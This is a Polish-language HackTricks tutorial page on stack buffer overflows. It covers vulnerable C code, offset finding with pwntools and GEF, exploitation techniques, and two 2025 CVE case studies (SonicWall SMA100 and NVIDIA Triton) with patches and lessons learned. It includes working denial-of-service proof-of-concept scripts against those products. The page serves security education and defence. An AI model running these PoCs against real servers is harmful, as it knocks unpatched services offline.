mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
187 lines
9.8 KiB
Markdown
187 lines
9.8 KiB
Markdown
# Stack Overflow
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## Co to jest Stack Overflow
|
||
|
||
A **stack overflow** to luka, która występuje, gdy program zapisuje więcej danych na stosie, niż jest przydzielone do przechowywania. Te nadmiarowe dane **nadpiszą sąsiednią przestrzeń pamięci**, prowadząc do uszkodzenia ważnych danych, zakłócenia przepływu sterowania i potencjalnie do wykonania złośliwego kodu. Problem ten często pojawia się z powodu użycia niebezpiecznych funkcji, które nie wykonują sprawdzania granic na wejściu.
|
||
|
||
Głównym problemem tego nadpisania jest to, że **zapisany wskaźnik instrukcji (EIP/RIP)** oraz **zapisany wskaźnik bazowy (EBP/RBP)** do powrotu do poprzedniej funkcji są **przechowywane na stosie**. Dlatego atakujący będzie w stanie nadpisać je i **kontrolować przepływ wykonania programu**.
|
||
|
||
Luka ta zazwyczaj występuje, ponieważ funkcja **kopiuje na stos więcej bajtów niż ilość przydzielona dla niej**, co pozwala na nadpisanie innych części stosu.
|
||
|
||
Niektóre powszechne funkcje podatne na to to: **`strcpy`, `strcat`, `sprintf`, `gets`**... Ponadto funkcje takie jak **`fgets`**, **`read` i `memcpy`**, które przyjmują **argument długości**, mogą być używane w sposób podatny, jeśli określona długość jest większa niż przydzielona.
|
||
|
||
Na przykład, następujące funkcje mogą być podatne:
|
||
```c
|
||
void vulnerable() {
|
||
char buffer[128];
|
||
printf("Enter some text: ");
|
||
gets(buffer); // This is where the vulnerability lies
|
||
printf("You entered: %s\n", buffer);
|
||
}
|
||
```
|
||
### Znajdowanie przesunięć przepełnienia stosu
|
||
|
||
Najczęstszym sposobem na znalezienie przepełnień stosu jest podanie bardzo dużego wejścia z `A`s (np. `python3 -c 'print("A"*1000)'`) i oczekiwanie na `Segmentation Fault`, co wskazuje, że **adres `0x41414141` próbował być dostępny**.
|
||
|
||
Ponadto, gdy już znajdziesz, że istnieje luka w przepełnieniu stosu, będziesz musiał znaleźć przesunięcie, aż będzie możliwe **nadpisanie adresu powrotu**. W tym celu zazwyczaj używa się **sekwencji De Bruijn.** Dla danego alfabetu o rozmiarze _k_ i podsekwencji o długości _n_ jest to **cykliczna sekwencja, w której każda możliwa podsekwencja o długości _n_ pojawia się dokładnie raz** jako kontiguująca podsekwencja.
|
||
|
||
W ten sposób, zamiast ręcznie ustalać, które przesunięcie jest potrzebne do kontrolowania EIP, można użyć jako wypełnienia jednej z tych sekwencji, a następnie znaleźć przesunięcie bajtów, które zakończyły nadpisywanie.
|
||
|
||
Można użyć **pwntools** do tego:
|
||
```python
|
||
from pwn import *
|
||
|
||
# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
|
||
pattern = cyclic(1000)
|
||
|
||
# This is an example value that you'd have found in the EIP/IP register upon crash
|
||
eip_value = p32(0x6161616c)
|
||
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
|
||
print(f"The offset is: {offset}")
|
||
```
|
||
lub **GEF**:
|
||
```bash
|
||
#Patterns
|
||
pattern create 200 #Generate length 200 pattern
|
||
pattern search "avaaawaa" #Search for the offset of that substring
|
||
pattern search $rsp #Search the offset given the content of $rsp
|
||
```
|
||
## Wykorzystywanie przepełnień stosu
|
||
|
||
Podczas przepełnienia (zakładając, że rozmiar przepełnienia jest wystarczająco duży) będziesz w stanie **nadpisać** wartości lokalnych zmiennych w stosie, aż do osiągnięcia zapisanych **EBP/RBP i EIP/RIP (lub nawet więcej)**.\
|
||
Najczęstszym sposobem nadużycia tego typu podatności jest **modyfikacja adresu powrotu**, aby po zakończeniu funkcji **przepływ kontroli został przekierowany tam, gdzie użytkownik wskazał** w tym wskaźniku.
|
||
|
||
Jednak w innych scenariuszach może wystarczyć tylko **nadpisanie niektórych wartości zmiennych w stosie** do wykorzystania podatności (jak w łatwych wyzwaniach CTF).
|
||
|
||
### Ret2win
|
||
|
||
W tego typu wyzwaniach CTF, istnieje **funkcja** **wewnątrz** binarnego pliku, która **nigdy nie jest wywoływana** i którą **musisz wywołać, aby wygrać**. W tych wyzwaniach musisz tylko znaleźć **offset do nadpisania adresu powrotu** i **znaleźć adres funkcji**, którą chcesz wywołać (zwykle [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) będzie wyłączone), aby po powrocie z podatnej funkcji, ukryta funkcja została wywołana:
|
||
|
||
{{#ref}}
|
||
ret2win/
|
||
{{#endref}}
|
||
|
||
### Shellcode na stosie
|
||
|
||
W tym scenariuszu atakujący mógłby umieścić shellcode w stosie i nadużyć kontrolowanego EIP/RIP, aby skoczyć do shellcode i wykonać dowolny kod:
|
||
|
||
{{#ref}}
|
||
stack-shellcode/
|
||
{{#endref}}
|
||
|
||
### Techniki ROP i Ret2...
|
||
|
||
Ta technika jest podstawowym frameworkiem do obejścia głównej ochrony poprzedniej techniki: **Brak wykonywalnego stosu (NX)**. Umożliwia to wykonanie kilku innych technik (ret2lib, ret2syscall...), które zakończą się wykonaniem dowolnych poleceń poprzez nadużycie istniejących instrukcji w binarnym pliku:
|
||
|
||
{{#ref}}
|
||
../rop-return-oriented-programing/
|
||
{{#endref}}
|
||
|
||
## Przepełnienia sterty
|
||
|
||
Przepełnienie nie zawsze będzie miało miejsce w stosie, może również wystąpić w **stercie**, na przykład:
|
||
|
||
{{#ref}}
|
||
../libc-heap/heap-overflow.md
|
||
{{#endref}}
|
||
|
||
## Typy ochrony
|
||
|
||
Istnieje kilka zabezpieczeń próbujących zapobiec wykorzystaniu podatności, sprawdź je w:
|
||
|
||
{{#ref}}
|
||
../common-binary-protections-and-bypasses/
|
||
{{#endref}}
|
||
|
||
### Przykład z rzeczywistego świata: CVE-2025-40596 (SonicWall SMA100)
|
||
|
||
Dobrą demonstracją, dlaczego **`sscanf` nigdy nie powinno być ufane przy analizowaniu nieufnych danych wejściowych**, pojawiła się w 2025 roku w urządzeniu SSL-VPN SonicWall SMA100.
|
||
Podatna rutyna wewnątrz `/usr/src/EasyAccess/bin/httpd` próbuje wyodrębnić wersję i punkt końcowy z dowolnego URI, które zaczyna się od `/__api__/`:
|
||
```c
|
||
char version[3];
|
||
char endpoint[0x800] = {0};
|
||
/* simplified proto-type */
|
||
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
|
||
```
|
||
1. Pierwsza konwersja (`%2s`) bezpiecznie zapisuje **dwa** bajty do `version` (np. `"v1"`).
|
||
2. Druga konwersja (`%s`) **nie ma specyfikatora długości**, dlatego `sscanf` będzie kopiować **aż do pierwszego bajtu NUL**.
|
||
3. Ponieważ `endpoint` znajduje się na **stosie** i ma **0x800 bajtów długości**, podanie ścieżki dłuższej niż 0x800 bajtów psuje wszystko, co znajduje się po buforze ‑ w tym **stack canary** i **zapisany adres powrotu**.
|
||
|
||
Jedna linia dowodu koncepcji wystarczy, aby wywołać awarię **przed uwierzytelnieniem**:
|
||
```python
|
||
import requests, warnings
|
||
warnings.filterwarnings('ignore')
|
||
url = "https://TARGET/__api__/v1/" + "A"*3000
|
||
requests.get(url, verify=False)
|
||
```
|
||
Nawet jeśli kanarki stosu przerywają proces, atakujący nadal zyskuje prymityw **Denial-of-Service** (a przy dodatkowych wyciekach informacji, możliwie także wykonanie kodu). Lekcja jest prosta:
|
||
|
||
* Zawsze podawaj **maksymalną szerokość pola** (np. `%511s`).
|
||
* Preferuj bezpieczniejsze alternatywy, takie jak `snprintf`/`strncpy_s`.
|
||
|
||
### Przykład z rzeczywistego świata: CVE-2025-23310 i CVE-2025-23311 (NVIDIA Triton Inference Server)
|
||
|
||
Serwer wnioskowania NVIDIA Triton (≤ v25.06) zawierał wiele **przepełnień stosu** dostępnych przez jego API HTTP. Wzorzec podatności pojawiał się wielokrotnie w `http_server.cc` i `sagemaker_server.cc`:
|
||
```c
|
||
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
|
||
if (n > 0) {
|
||
/* allocates 16 * n bytes on the stack */
|
||
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
|
||
alloca(sizeof(struct evbuffer_iovec) * n);
|
||
...
|
||
}
|
||
```
|
||
1. `evbuffer_peek` (libevent) zwraca **liczbę wewnętrznych segmentów bufora**, które tworzą aktualne ciało żądania HTTP.
|
||
2. Każdy segment powoduje, że **16-bajtowy** `evbuffer_iovec` jest alokowany na **stosie** za pomocą `alloca()` – **bez żadnego górnego ograniczenia**.
|
||
3. Wykorzystując **HTTP _chunked transfer-encoding_**, klient może wymusić podział żądania na **setki tysięcy 6-bajtowych kawałków** (`"1\r\nA\r\n"`). To powoduje, że `n` rośnie bez ograniczeń, aż stos zostanie wyczerpany.
|
||
|
||
#### Proof-of-Concept (DoS)
|
||
```python
|
||
#!/usr/bin/env python3
|
||
import socket, sys
|
||
|
||
def exploit(host="localhost", port=8000, chunks=523_800):
|
||
s = socket.create_connection((host, port))
|
||
s.sendall((
|
||
f"POST /v2/models/add_sub/infer HTTP/1.1\r\n"
|
||
f"Host: {host}:{port}\r\n"
|
||
"Content-Type: application/octet-stream\r\n"
|
||
"Inference-Header-Content-Length: 0\r\n"
|
||
"Transfer-Encoding: chunked\r\n"
|
||
"Connection: close\r\n\r\n"
|
||
).encode())
|
||
|
||
for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc
|
||
s.send(b"1\r\nA\r\n") # amplification factor ≈ 2.6x
|
||
s.sendall(b"0\r\n\r\n") # end of chunks
|
||
s.close()
|
||
|
||
if __name__ == "__main__":
|
||
exploit(*sys.argv[1:])
|
||
```
|
||
A ~3 MB request wystarczy, aby nadpisać zapisany adres powrotu i **crash** daemona w domyślnej wersji.
|
||
|
||
#### Patch & Mitigation
|
||
Wersja 25.07 zastępuje niebezpieczne przydzielanie stosu **heap-backed `std::vector`** i elegancko obsługuje `std::bad_alloc`:
|
||
```c++
|
||
std::vector<evbuffer_iovec> v_vec;
|
||
try {
|
||
v_vec = std::vector<evbuffer_iovec>(n);
|
||
} catch (const std::bad_alloc &e) {
|
||
return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
|
||
}
|
||
struct evbuffer_iovec *v = v_vec.data();
|
||
```
|
||
Lekcje wyniesione:
|
||
* Nigdy nie wywołuj `alloca()` z rozmiarami kontrolowanymi przez atakującego.
|
||
* Żądania podzielone na kawałki mogą drastycznie zmienić kształt buforów po stronie serwera.
|
||
* Waliduj / ogranicz wszelkie wartości pochodzące z wejścia klienta *przed* ich użyciem w alokacjach pamięci.
|
||
|
||
## Odniesienia
|
||
* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
|
||
* [Trail of Bits – Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|